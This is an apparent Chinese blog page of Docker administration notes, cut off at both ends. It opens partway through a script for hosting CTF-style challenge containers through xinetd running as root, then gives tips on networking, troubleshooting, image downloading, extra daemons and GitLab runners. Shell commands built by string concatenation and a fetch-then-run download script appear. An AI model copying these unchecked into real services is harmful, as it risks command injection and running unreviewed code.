class=\"o\">!=</span><span class=\"n\">answer</span><span class=\"p\">:</span>\n        <span class=\"n\">exit</span><span class=\"p\">()</span>\n\n<span class=\"c1\"># 显示一个随机字符串，要求用户输入另一个字符串满足md5以difficulty个0开头</span>\n<span class=\"k\">def</span> <span class=\"nf\">pow_realmd5</span><span class=\"p\">(</span><span class=\"n\">difficulty</span><span class=\"o\">=</span><span class=\"mi\">4</span><span class=\"p\">):</span>\n    <span class=\"n\">question</span> <span class=\"o\">=</span> <span class=\"n\">randomstring</span><span class=\"p\">()</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;[Proof Of Work]&quot;</span><span class=\"p\">)</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Please calculate s, make that </span><span class=\"se\">\\n</span><span class=\"s2\">    md5(</span><span class=\"se\">\\&quot;</span><span class=\"si\">%s</span><span class=\"se\">\\&quot;</span><span class=\"s2\">+s).startswith(&#39;</span><span class=\"si\">%s</span><span class=\"s2\">&#39;)&quot;</span><span class=\"o\">%</span><span class=\"p\">(</span><span class=\"n\">question</span><span class=\"p\">,</span><span class=\"s1\">&#39;0&#39;</span><span class=\"o\">*</span><span class=\"n\">difficulty</span><span class=\"p\">))</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;Input your s:&quot;</span><span class=\"p\">,</span><span class=\"n\">end</span><span class=\"o\">=</span><span class=\"s1\">&#39;&#39;</span><span class=\"p\">)</span>\n    <span class=\"n\">s</span> <span class=\"o\">=</span> <span class=\"nb\">input</span><span class=\"p\">()</span>\n    <span class=\"k\">if</span> <span class=\"ow\">not</span> <span class=\"n\">md5</span><span class=\"p\">(</span><span class=\"n\">question</span><span class=\"o\">+</span><span class=\"n\">s</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">startswith</span><span class=\"p\">(</span><span class=\"s1\">&#39;0&#39;</span><span class=\"o\">*</span><span class=\"n\">difficulty</span><span class=\"p\">):</span>\n        <span class=\"n\">exit</span><span class=\"p\">()</span>\n\n<span class=\"c1\"># 从镜像启动容器</span>\n<span class=\"k\">def</span> <span class=\"nf\">start_container</span><span class=\"p\">(</span><span class=\"n\">image</span><span class=\"p\">,</span> <span class=\"n\">port</span><span class=\"p\">,</span> <span class=\"n\">paramstring</span><span class=\"p\">):</span>\n<span class=\"w\">    </span><span class=\"sd\">&quot;&quot;&quot;</span>\n<span class=\"sd\">    image:镜像名称</span>\n<span class=\"sd\">    port: 需要映射的端口</span>\n<span class=\"sd\">    paramstring: 额外的参数设置字符串 如&quot;-v /d/blabla:/data&quot;</span>\n\n<span class=\"sd\">    返回(容器ID, 映射得到的端口)</span>\n<span class=\"sd\">    &quot;&quot;&quot;</span>\n    <span class=\"n\">container</span> <span class=\"o\">=</span> <span class=\"n\">subprocess</span><span class=\"o\">.</span><span class=\"n\">check_output</span><span class=\"p\">(</span><span class=\"s2\">&quot;docker run -d -p :&quot;</span><span class=\"o\">+</span><span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">port</span><span class=\"p\">)</span><span class=\"o\">+</span><span class=\"s2\">&quot; &quot;</span><span class=\"o\">+</span><span class=\"n\">paramstring</span><span class=\"o\">+</span><span class=\"s2\">&quot; &quot;</span><span class=\"o\">+</span><span class=\"n\">image</span><span class=\"o\">+</span><span class=\"s2\">&quot; /run.sh&quot;</span><span class=\"p\">,</span><span class=\"n\">shell</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;</span><span class=\"se\">\\n</span><span class=\"s2\">&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">inspect</span> <span class=\"o\">=</span> <span class=\"n\">subprocess</span><span class=\"o\">.</span><span class=\"n\">check_output</span><span class=\"p\">(</span><span class=\"s2\">&quot;docker inspect --format &#39;{{.NetworkSettings.Ports}}&#39; </span><span class=\"si\">%s</span><span class=\"s2\">&quot;</span><span class=\"o\">%</span><span class=\"n\">container</span><span class=\"p\">,</span><span class=\"n\">shell</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">decode</span><span class=\"p\">()</span><span class=\"o\">.</span><span class=\"n\">replace</span><span class=\"p\">(</span><span class=\"s2\">&quot;</span><span class=\"se\">\\n</span><span class=\"s2\">&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">openport</span> <span class=\"o\">=</span> <span class=\"n\">inspect</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;{&quot;</span><span class=\"p\">)[</span><span class=\"mi\">1</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">()[</span><span class=\"mi\">1</span><span class=\"p\">]</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;}&quot;</span><span class=\"p\">)[</span><span class=\"mi\">0</span><span class=\"p\">]</span>\n    <span class=\"k\">return</span> <span class=\"p\">(</span><span class=\"n\">container</span><span class=\"p\">,</span> <span class=\"n\">openport</span><span class=\"p\">)</span>\n\n<span class=\"c1\"># 计划在minutes分钟后销毁容器container 需要atd服务</span>\n<span class=\"k\">def</span> <span class=\"nf\">plan_stop_container</span><span class=\"p\">(</span><span class=\"n\">container</span><span class=\"p\">,</span> <span class=\"n\">minutes</span><span class=\"p\">):</span>\n    <span class=\"n\">PATH</span> <span class=\"o\">=</span> <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">getcwd</span><span class=\"p\">()</span>\n    <span class=\"n\">minutes</span> <span class=\"o\">=</span> <span class=\"nb\">str</span><span class=\"p\">(</span><span class=\"n\">minutes</span><span class=\"p\">)</span>\n    <span class=\"n\">filename</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;</span><span class=\"si\">%s</span><span class=\"s2\">_</span><span class=\"si\">%d</span><span class=\"s2\">&quot;</span><span class=\"o\">%</span><span class=\"p\">(</span><span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">strftime</span><span class=\"p\">(</span><span class=\"s2\">&quot;%Y_%m_</span><span class=\"si\">%d</span><span class=\"s2\">_%H_%M_%S&quot;</span><span class=\"p\">),</span><span class=\"n\">randint</span><span class=\"p\">(</span><span class=\"mi\">0</span><span class=\"p\">,</span><span class=\"mi\">666</span><span class=\"p\">))</span>\n    <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"n\">PATH</span><span class=\"o\">+</span><span class=\"s2\">&quot;/&quot;</span><span class=\"o\">+</span><span class=\"n\">filename</span><span class=\"p\">,</span><span class=\"s2\">&quot;w&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">write</span><span class=\"p\">(</span><span class=\"s2\">&quot;docker kill </span><span class=\"si\">%s</span><span class=\"s2\"> &amp;&amp; docker rm </span><span class=\"si\">%s</span><span class=\"s2\"> &amp;&amp; rm </span><span class=\"si\">%s</span><span class=\"s2\">/</span><span class=\"si\">%s</span><span class=\"s2\">&quot;</span><span class=\"o\">%</span><span class=\"p\">(</span><span class=\"n\">container</span><span class=\"p\">,</span><span class=\"n\">container</span><span class=\"p\">,</span><span class=\"n\">PATH</span><span class=\"p\">,</span><span class=\"n\">filename</span><span class=\"p\">))</span>\n    <span class=\"n\">subprocess</span><span class=\"o\">.</span><span class=\"n\">check_output</span><span class=\"p\">(</span><span class=\"s2\">&quot;at now + </span><span class=\"si\">%s</span><span class=\"s2\"> minutes -f </span><span class=\"si\">%s</span><span class=\"s2\"> 2&gt;/dev/null&quot;</span><span class=\"o\">%</span><span class=\"p\">(</span><span class=\"n\">minutes</span><span class=\"p\">,</span><span class=\"n\">filename</span><span class=\"p\">),</span><span class=\"n\">shell</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span>\n\n<span class=\"c1\"># 生成一个runner的二进制程序，xinetd并不支持直接运行python</span>\n<span class=\"k\">if</span> <span class=\"vm\">__name__</span> <span class=\"o\">==</span> <span class=\"s2\">&quot;__main__&quot;</span><span class=\"p\">:</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;[*] writing to runner.c&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">path</span> <span class=\"o\">=</span> <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">getcwd</span><span class=\"p\">()</span>\n    <span class=\"nb\">open</span><span class=\"p\">(</span><span class=\"s2\">&quot;runner.c&quot;</span><span class=\"p\">,</span><span class=\"s2\">&quot;w&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">write</span><span class=\"p\">(</span><span class=\"s2\">&quot;&quot;&quot;#include &lt;stdio.h&gt;</span>\n<span class=\"s2\">#include &lt;stdlib.h&gt;</span>\n<span class=\"s2\">#include &lt;unistd.h&gt;</span>\n<span class=\"s2\">int main(){</span>\n<span class=\"s2\">   chdir(&quot;</span><span class=\"si\">%s</span><span class=\"s2\">&quot;);</span>\n<span class=\"s2\">   system(&quot;python3 </span><span class=\"si\">%s</span><span class=\"s2\">/runner.py&quot;);</span>\n<span class=\"s2\">   return 0;</span>\n<span class=\"s2\">}</span>\n<span class=\"s2\">&quot;&quot;&quot;</span><span class=\"o\">%</span><span class=\"p\">(</span><span class=\"n\">path</span><span class=\"p\">,</span> <span class=\"n\">path</span><span class=\"p\">))</span>\n    <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;[*] compile runner.c to runner&quot;</span><span class=\"p\">)</span>\n    <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">system</span><span class=\"p\">(</span><span class=\"s2\">&quot;gcc runner.c -o runner&quot;</span><span class=\"p\">)</span>\n</code></pre></div>\n\n<p>用到的xinetd配置：<code>runner.conf</code>，注意保存的时候不能有\\r <code>:set ff=unix</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">service</span><span class=\"w\"> </span>题目名称\n{\n<span class=\"w\">    </span><span class=\"nv\">socket_type</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">stream</span>\n<span class=\"w\">    </span><span class=\"nv\">protocol</span><span class=\"w\">    </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">tcp</span>\n<span class=\"w\">    </span><span class=\"k\">wait</span><span class=\"w\">        </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">no</span>\n<span class=\"w\">    </span><span class=\"nv\">user</span><span class=\"w\">        </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">root</span>\n<span class=\"w\">    </span><span class=\"nv\">bind</span><span class=\"w\">        </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"mi\">0</span>.<span class=\"mi\">0</span>.<span class=\"mi\">0</span>.<span class=\"mi\">0</span>\n<span class=\"w\">    </span><span class=\"nv\">server</span><span class=\"w\">      </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"o\">/</span>绝对路径<span class=\"o\">/</span><span class=\"nv\">runner</span>\n<span class=\"w\">    </span><span class=\"nv\">type</span><span class=\"w\">        </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">UNLISTED</span>\n<span class=\"w\">    </span><span class=\"nv\">port</span><span class=\"w\">        </span><span class=\"o\">=</span><span class=\"w\"> </span>端口号\n<span class=\"w\">    </span><span class=\"nv\">disable</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">no</span>\n}\n</code></pre></div>\n\n<hr />\n<h2 id=\"ab\">在容器A中使用别名访问容器B<a class=\"headerlink\" href=\"#ab\" title=\"Permanent link\">&para;</a></h2>\n<p>容器A是web应用，需要访问redis的容器B，如果用docker inspect拿到现在容器B的IP写入到配置，一旦docker重启这个容器IP就会发生变化</p>\n<p>更好的方式是使用docker的自定义网络：创建网络，把redis加入网络，把app加入网络</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"nv\">network</span><span class=\"w\"> </span><span class=\"nv\">create</span><span class=\"w\"> </span><span class=\"nv\">useredis</span>\n<span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"nv\">network</span><span class=\"w\"> </span><span class=\"k\">connect</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">alias</span><span class=\"w\"> </span><span class=\"nv\">redis</span><span class=\"w\"> </span><span class=\"nv\">useredis</span><span class=\"w\"> </span><span class=\"nv\">redis</span>\n<span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"nv\">network</span><span class=\"w\"> </span><span class=\"k\">connect</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">alias</span><span class=\"w\"> </span><span class=\"nv\">app</span><span class=\"w\"> </span><span class=\"nv\">useredis</span><span class=\"w\"> </span><span class=\"nv\">app</span>\n</code></pre></div>\n\n<p>在加入网络的时候指定&ndash;alias即可，网络中的其他容器就能通过这个alias访问到，这样操作后app容器里面就能ping redis了</p>\n<hr />\n<h2 id=\"docker1802start\">修复Docker更新到18.02后部分容器无法start的问题<a class=\"headerlink\" href=\"#docker1802start\" title=\"Permanent link\">&para;</a></h2>\n<p>apt说可以更新，于是就更新了，然而却悲催地发现部分容器无法启动，报错信息：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker start &lt;container_name&gt; returns &quot;container &lt;hash&gt; already exists&quot;\n</code></pre></div>\n\n<p>Google找到了相关issue在<a href=\"https://github.com/moby/moby/issues/36145\">这里</a></p>\n<p>不删容器重建、不回滚Docker的解决方案为：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"x\">sudo docker-containerd-ctr --namespace moby --address /run/docker/containerd/docker-containerd.sock c rm `docker inspect --format &#39;</span><span class=\"cp\">{{</span><span class=\"nv\">.Id</span><span class=\"cp\">}}</span><span class=\"x\">&#39; 无法启动的容器名称`</span>\n</code></pre></div>\n\n<p>注意需要输入的是那个很长的容器id，所以先用docker inspect获取其长Id</p>\n<p>如果docker-containerd-ctr 不存在，也许你使用的是Docker for mac，需要这么操作：</p>\n<div class=\"codehilite\"><pre><span></span><code>docker run -it --rm -v /:/host alpine /host/usr/local/bin/docker-containerd-ctr  --namespace moby --address /host/run/docker/containerd/docker-containerd.sock c rm 出错的容器id\n</code></pre></div>\n\n<hr />\n<h2 id=\"docker-exec-it\">解决docker exec -it进入容器屏幕大小不对的问题<a class=\"headerlink\" href=\"#docker-exec-it\" title=\"Permanent link\">&para;</a></h2>\n<p>发现docker exec -it进入容器的bash后tty的大小不对 只有80x24，参考这个 https://github.com/moby/moby/issues/35407</p>\n<p>解决方案：在进入容器时配置环境变量COLUMNS和LINES为正确值即可，为了便于操作与记忆，写~/.bashrc咯：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">function</span><span class=\"w\"> </span><span class=\"nv\">din</span><span class=\"ss\">()</span>{\n<span class=\"w\">    </span><span class=\"nv\">docker</span><span class=\"w\"> </span><span class=\"k\">exec</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">ti</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">env</span><span class=\"w\"> </span><span class=\"nv\">COLUMNS</span><span class=\"o\">=</span>`<span class=\"nv\">tput</span><span class=\"w\"> </span><span class=\"nv\">cols</span>`<span class=\"w\"> </span><span class=\"o\">--</span><span class=\"nv\">env</span><span class=\"w\"> </span><span class=\"nv\">LINES</span><span class=\"o\">=</span>`<span class=\"nv\">tput</span><span class=\"w\"> </span><span class=\"nv\">lines</span>`<span class=\"w\"> </span><span class=\"mh\">$1</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">bin</span><span class=\"o\">/</span><span class=\"nv\">bash</span>\n}\n<span class=\"nv\">alias</span><span class=\"w\"> </span><span class=\"nv\">din</span><span class=\"o\">=</span><span class=\"nv\">din</span>\n</code></pre></div>\n\n<p>使用的时候只需要<code>din 容器名称</code>就能进入容器bash啦，这样进入容器vim也能全屏幕显示了</p>\n<hr />\n<h2 id=\"docker-pull\">不使用docker pull也能下载到镜像<a class=\"headerlink\" href=\"#docker-pull\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"admonition warning\">\n<p>该脚本存在问题，下载到的镜像层可能无法导入，仍待研究</p>\n</div>\n<p>github上官方有下载脚本： https://github.com/moby/moby/blob/master/contrib/download-frozen-image-v2.sh</p>\n<p>使用的时候第一个参数是目录名称，第二个是镜像名称:latest，其中:tag是必须要写的</p>\n<p>下述命令下载脚本，替换为从阿里云下载，最后打包成golang.tar （由于下载到的layer的tar包已经是gzip压缩过的 没必要再7zip压缩）</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">wget</span><span class=\"w\"> </span><span class=\"n\">https</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"n\">raw</span><span class=\"o\">.</span><span class=\"n\">githubusercontent</span><span class=\"o\">.</span><span class=\"n\">com</span><span class=\"o\">/</span><span class=\"n\">moby</span><span class=\"o\">/</span><span class=\"n\">moby</span><span class=\"o\">/</span><span class=\"k\">master</span><span class=\"o\">/</span><span class=\"n\">contrib</span><span class=\"o\">/</span><span class=\"n\">download</span><span class=\"o\">-</span><span class=\"n\">frozen</span><span class=\"o\">-</span><span class=\"n\">image</span><span class=\"o\">-</span><span class=\"n\">v2</span><span class=\"o\">.</span><span class=\"n\">sh</span>\n<span class=\"n\">sed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/registry-1.docker.io/h0kyslzs.mirror.aliyuncs.com/g&#39;</span><span class=\"w\"> </span><span class=\"n\">download</span><span class=\"o\">-</span><span class=\"n\">frozen</span><span class=\"o\">-</span><span class=\"n\">image</span><span class=\"o\">-</span><span class=\"n\">v2</span><span class=\"o\">.</span><span class=\"n\">sh</span>\n<span class=\"n\">sed</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"s1\">&#39;s/token=&quot;$(/token=&quot;&quot; #/g&#39;</span><span class=\"w\"> </span><span class=\"n\">download</span><span class=\"o\">-</span><span class=\"n\">frozen</span><span class=\"o\">-</span><span class=\"n\">image</span><span class=\"o\">-</span><span class=\"n\">v2</span><span class=\"o\">.</span><span class=\"n\">sh</span>\n<span class=\"n\">chmod</span><span class=\"w\"> </span><span class=\"o\">+</span><span class=\"n\">x</span><span class=\"w\"> </span><span class=\"n\">download</span><span class=\"o\">-</span><span class=\"n\">frozen</span><span class=\"o\">-</span><span class=\"n\">image</span><span class=\"o\">-</span><span class=\"n\">v2</span><span class=\"o\">.</span><span class=\"n\">sh</span>\n<span class=\"o\">./</span><span class=\"n\">download</span><span class=\"o\">-</span><span class=\"n\">frozen</span><span class=\"o\">-</span><span class=\"n\">image</span><span class=\"o\">-</span><span class=\"n\">v2</span><span class=\"o\">.</span><span class=\"n\">sh</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">tmp</span><span class=\"o\">/</span><span class=\"n\">golang</span><span class=\"w\"> </span><span class=\"n\">google</span><span class=\"o\">/</span><span class=\"n\">golang</span><span class=\"p\">:</span><span class=\"n\">latest</span>\n<span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">vf</span><span class=\"w\"> </span><span class=\"n\">golang</span><span class=\"o\">.</span><span class=\"n\">tar</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">cC</span><span class=\"w\"> </span><span class=\"s1\">&#39;/tmp/golang&#39;</span><span class=\"w\"> </span><span class=\"o\">.</span><span class=\"w\"> </span>\n</code></pre></div>\n\n<p>然后就可以传输golang.tar，导入方法很简单</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"nb\">load</span><span class=\"w\"> </span><span class=\"o\">&lt;</span><span class=\"w\"> </span><span class=\"n\">golang</span><span class=\"o\">.</span><span class=\"n\">tar</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"docker-daemon\">启动另一个Docker Daemon进程<a class=\"headerlink\" href=\"#docker-daemon\" title=\"Permanent link\">&para;</a></h2>\n<p>有时候需要进行build操作，发现根目录剩余空间不够了，但另外一块硬盘还有空间，整体迁移/var/lib/docker或合并两个硬盘为lvm又不现实，这时就可以开启一个新的Docker Daemon，把Docker使用的目录设置为另一块硬盘</p>\n<p>参考：http://blog.alpaca.ai/run-multiple-docker-daemons-with-net-container/</p>\n<p>docker工作目录假设为/home/cy/docker</p>\n<p>第一次执行：</p>\n<div class=\"codehilite\"><pre><span></span><code>OFFSET=0\nu=&quot;cy&quot;\nBRIDGE_NAME=br_<span class=\"cp\">${</span><span class=\"n\">u</span><span class=\"cp\">}</span>\nDOCKER_ROOT=/home/<span class=\"cp\">${</span><span class=\"n\">u</span><span class=\"cp\">}</span>/docker\nmkdir<span class=\"w\"> </span>-p<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">DOCKER_ROOT</span><span class=\"cp\">}</span>\nbrctl<span class=\"w\"> </span>addbr<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">BRIDGE_NAME</span><span class=\"cp\">}</span>\nSUBNET=$(expr<span class=\"w\"> </span>52<span class=\"w\"> </span>+<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">OFFSET</span><span class=\"cp\">}</span>)\nip<span class=\"w\"> </span>addr<span class=\"w\"> </span>add<span class=\"w\"> </span>172.18.<span class=\"cp\">${</span><span class=\"n\">SUBNET</span><span class=\"cp\">}</span>.1/24<span class=\"w\"> </span>dev<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">BRIDGE_NAME</span><span class=\"cp\">}</span>\nip<span class=\"w\"> </span>link<span class=\"w\"> </span>set<span class=\"w\"> </span>dev<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">BRIDGE_NAME</span><span class=\"cp\">}</span><span class=\"w\"> </span>up\niptables<span class=\"w\"> </span>-t<span class=\"w\"> </span>nat<span class=\"w\"> </span>-A<span class=\"w\"> </span>POSTROUTING<span class=\"w\"> </span>-j<span class=\"w\"> </span>MASQUERADE<span class=\"w\"> </span>-s<span class=\"w\"> </span>172.18.<span class=\"cp\">${</span><span class=\"n\">SUBNET</span><span class=\"cp\">}</span>.0/24<span class=\"w\"> </span>-d<span class=\"w\"> </span>0.0.0.0/0\n</code></pre></div>\n\n<p>运行dockerd执行：</p>\n<div class=\"codehilite\"><pre><span></span><code>u=&quot;cy&quot;\nBRIDGE_NAME=br_<span class=\"cp\">${</span><span class=\"n\">u</span><span class=\"cp\">}</span>\nDOCKER_ROOT=/home/<span class=\"cp\">${</span><span class=\"n\">u</span><span class=\"cp\">}</span>/docker\n<span class=\"w\">      </span>dockerd<span class=\"w\"> </span>-D<span class=\"w\"> </span>\\\n<span class=\"w\">        </span>-g<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">DOCKER_ROOT</span><span class=\"cp\">}</span>/g<span class=\"w\"> </span>\\\n<span class=\"w\">        </span>--exec-root=<span class=\"cp\">${</span><span class=\"n\">DOCKER_ROOT</span><span class=\"cp\">}</span>/e<span class=\"w\"> </span>\\\n<span class=\"w\">        </span>-b<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">BRIDGE_NAME</span><span class=\"cp\">}</span><span class=\"w\"> </span>\\\n<span class=\"w\">        </span>--dns=8.8.8.8<span class=\"w\"> </span>\\\n<span class=\"w\">        </span>--iptables=true<span class=\"w\"> </span>\\\n<span class=\"w\">        </span>-H<span class=\"w\"> </span>unix://<span class=\"cp\">${</span><span class=\"n\">DOCKER_ROOT</span><span class=\"cp\">}</span>/docker.sock<span class=\"w\"> </span>\\\n<span class=\"w\">        </span>-p<span class=\"w\"> </span><span class=\"cp\">${</span><span class=\"n\">DOCKER_ROOT</span><span class=\"cp\">}</span>/docker.pid\n</code></pre></div>\n\n<hr />\n<h2 id=\"dockergitlab-ci\">配置使用Docker版本的Gitlab CI<a class=\"headerlink\" href=\"#dockergitlab-ci\" title=\"Permanent link\">&para;</a></h2>\n<p>参考文档：</p>\n<ul>\n<li>官方教程 https://docs.gitlab.com/runner/</li>\n<li>高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html</li>\n</ul>\n<p>人家这东西本质上是一个docker容器，但是把主机的docker sock传入到容器中，所以容器内可以创建容器</p>\n<p>我这里的教程着重解决两个问题：使用自定义的镜像，设置DNS</p>\n<h3 id=\"pullrunner\">第一步当然是pull人家的runner镜像咯<a class=\"headerlink\" href=\"#pullrunner\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>docker pull gitlab/gitlab-runner\n</code></pre></div>\n\n<h3 id=\"citoken\">第二步 获取CI连接时需要的token<a class=\"headerlink\" href=\"#citoken\" title=\"Permanent link\">&para;</a></h3>\n<p>在管理员界面 Overview下Runners点开即可看到 </p>\n<p>网址： /admin/runners</p>\n<h3 id=\"_11\">第三步 注册以生成初始的配置信息<a class=\"headerlink\" href=\"#_11\" title=\"Permanent link\">&para;</a></h3>\n<p>参考https://docs.gitlab.com/runner/register/index.html#docker</p>\n<p>假设容器配置文件保存在/dockerfiles/gitlabrunner中，其中docker-image是默认跑任务的镜像</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">rm</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">t</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">i</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">v</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">dockerfiles</span><span class=\"o\">/</span><span class=\"nl\">gitlabrunner:</span><span class=\"o\">/</span><span class=\"n\">etc</span><span class=\"o\">/</span><span class=\"n\">gitlab</span><span class=\"o\">-</span><span class=\"n\">runner</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">dns</span><span class=\"w\"> </span><span class=\"mf\">10.0.0.1</span><span class=\"w\"> </span><span class=\"n\">gitlab</span><span class=\"o\">/</span><span class=\"n\">gitlab</span><span class=\"o\">-</span><span class=\"n\">runner</span><span class=\"w\">  </span><span class=\"n\">register</span><span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">non</span><span class=\"o\">-</span><span class=\"n\">interactive</span><span class=\"w\"> </span><span class=\"se\">\\</span>\n<span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">url</span><span class=\"w\"> </span><span class=\"s\">&quot;https://gitlab.com/&quot;</span><span class=\"w\"> </span><span class=\"se\">\\</span>\n<span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">registration</span><span class=\"o\">-</span><span class=\"n\">token</span><span class=\"w\"> </span><span class=\"s\">&quot;上一步获得的token&quot;</span><span class=\"w\"> </span><span class=\"se\">\\</span>\n<span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">executor</span><span class=\"w\"> </span><span class=\"s\">&quot;docker&quot;</span><span class=\"w\"> </span><span class=\"se\">\\</span>\n<span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">docker</span><span class=\"o\">-</span><span class=\"n\">image</span><span class=\"w\"> </span><span class=\"nl\">myubuntu:</span><span class=\"n\">latest</span><span class=\"w\"> </span><span class=\"se\">\\</span>\n<span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">description</span><span class=\"w\"> </span><span class=\"s\">&quot;docker-runner&quot;</span><span class=\"w\"> </span><span class=\"se\">\\</span>\n<span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">run</span><span class=\"o\">-</span><span class=\"n\">untagged</span><span class=\"w\"> </span><span class=\"se\">\\</span>\n<span class=\"w\">  </span><span class=\"o\">--</span><span class=\"n\">locked</span><span class=\"o\">=</span><span class=\"s\">&quot;false&quot;</span>\n</code></pre></div>\n\n<h3 id=\"_12\">第四步 修改配置文件<a class=\"headerlink\" href=\"#_12\" title=\"Permanent link\">&para;</a></h3>\n<p>参考高级配置 https://docs.gitlab.com/runner/configuration/advanced-configuration.html\n和 https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work</p>\n<div class=\"codehilite\"><pre><span></span><code>cd /dockerfiles/gitlabrunner #你的配置文件目录\nsudo vim config.yml\n</code></pre></div>\n\n<p>为了跑本地已经存在的镜像（默认为always表示只能跑dockerhub上的），在[runners.docker]中需要添加：</p>\n<div class=\"codehilite\"><pre><span></span><code>pull_policy = &quot;never&quot;\n</code></pre></div>\n\n<p>或者这里你也可以使用&rdquo;if-not-present&rdquo; 不存在就pull</p>\n<p>另外 如果需要修改容器DNS，也添加进去即可</p>\n<div class=\"codehilite\"><pre><span></span><code>dns = [&quot;10.0.0.1&quot;]\n</code></pre></div>\n\n<h3 id=\"runner\">第五步 启动runner容器<a class=\"headerlink\" href=\"#runner\" title=\"Permanent link\">&para;</a></h3>\n<p>如果需要改dns，这里也别忘记写上</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">docker</span><span class=\"w\"> </span><span class=\"n\">run</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">d</span><span class=\"w\"> </span><span class=\"o\">--</span><span class=\"n\">name</span><span class=\"w\"> </span><span class=\"n\">gitlab</span><span class=\"o\">-</span><span class=\"n\">runner</span><span class=\"w\"> </span><span class=\"o\">--</span><span 